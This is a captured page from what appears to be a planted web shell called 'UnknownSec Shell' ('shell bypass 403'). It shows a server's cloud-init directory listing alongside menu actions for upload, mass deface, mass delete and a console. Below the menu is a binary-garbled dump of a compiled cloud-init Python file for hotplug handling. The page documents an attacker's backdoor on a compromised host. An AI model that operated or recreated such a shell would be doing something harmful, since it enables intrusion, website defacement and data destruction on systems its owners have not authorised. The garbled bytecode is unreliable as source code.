shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
cloudinit
/
cmd
/
devel
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
hotplug_hook.cpython-312.pyc
� �fL+ � �� � d Z ddlZddlZddlZddlZddlZddlZddlZddlm Z m Z mZmZ ddl mZ ddlmZmZ ddlmZ ddlmZ ddlmZ dd lmZmZ dd lmZ ej: e� ZdZ dd�Z! G d � dejD � Z# G d� de#� Z$de$ejJ fiZ&d� Z'dede(fd�Z)defd�Z*dede+fd�Z,d� Z-edk( r e!� j] � Z/ e-e e/� yy)z)Handle reconfiguration on hotplug events.� N)�log� reporting�stages�util)�install_hotplug)� EventScope� EventType)�read_sys_net_safe)�parse_net_config_data)�events)� DataSource�DataSourceNotFoundException)�Initzhotplug-hookc � � | st j t t �� } t | _ | j dddddg�� | j dd � � }d|_ |j dd� � |j dd� � }|j ddddd�� |j ddddddg�� |j dd� � | S )a Build or extend an arg parser for hotplug-hook utility. @param parser: Optional existing ArgumentParser instance representing the subcommand which will be extended to support the args of this utility. @returns: ArgumentParser with proper argument configuration. )�prog�descriptionz-sz--subsystemTzsubsystem to act on�net)�required�help�choiceszHotplug Action�hotplug_action)�title�dest�queryz0Query if hotplug is enabled for given subsystem.)r �handlezHandle the hotplug event.z-dz --devpath�PATHzSysfs path to hotplugged device)r �metavarr z-uz--udevactionzSpecify action to take.�add�remove�enablez%Enable hotplug for a given subsystem.) �argparse�ArgumentParser�NAME�__doc__r �add_argument�add_subparsersr � add_parser)�parser� subparsers� parser_handles �B/usr/lib/python3/dist-packages/cloudinit/cmd/devel/hotplug_hook.py� get_parserr, s � � ��(�(�d��H�� �F�� ������ "��� � � �&�&��%5� '� �J� �J������H� � � �)�)��2� *� �M� ������� .� � � ������ &���!� � � ����>� � � �M� c � � e Zd Zd� Zej d� � Zeej d� � � Zej de fd�� Z d� Zd� Zd� Z y ) � UeventHandlerc �J � || _ || _ || _ || _ || _ y �N)�id� datasource�devpath�action� success_fn)�selfr2 r3 r4 r5 r6 s r+ �__init__zUeventHandler.__init__Q s% � ����&0���������$��r- c � � t � �r1 ��NotImplementedError�r7 s r+ �applyzUeventHandler.applyX � � �!�#�#r- c � � t � �r1 r: r<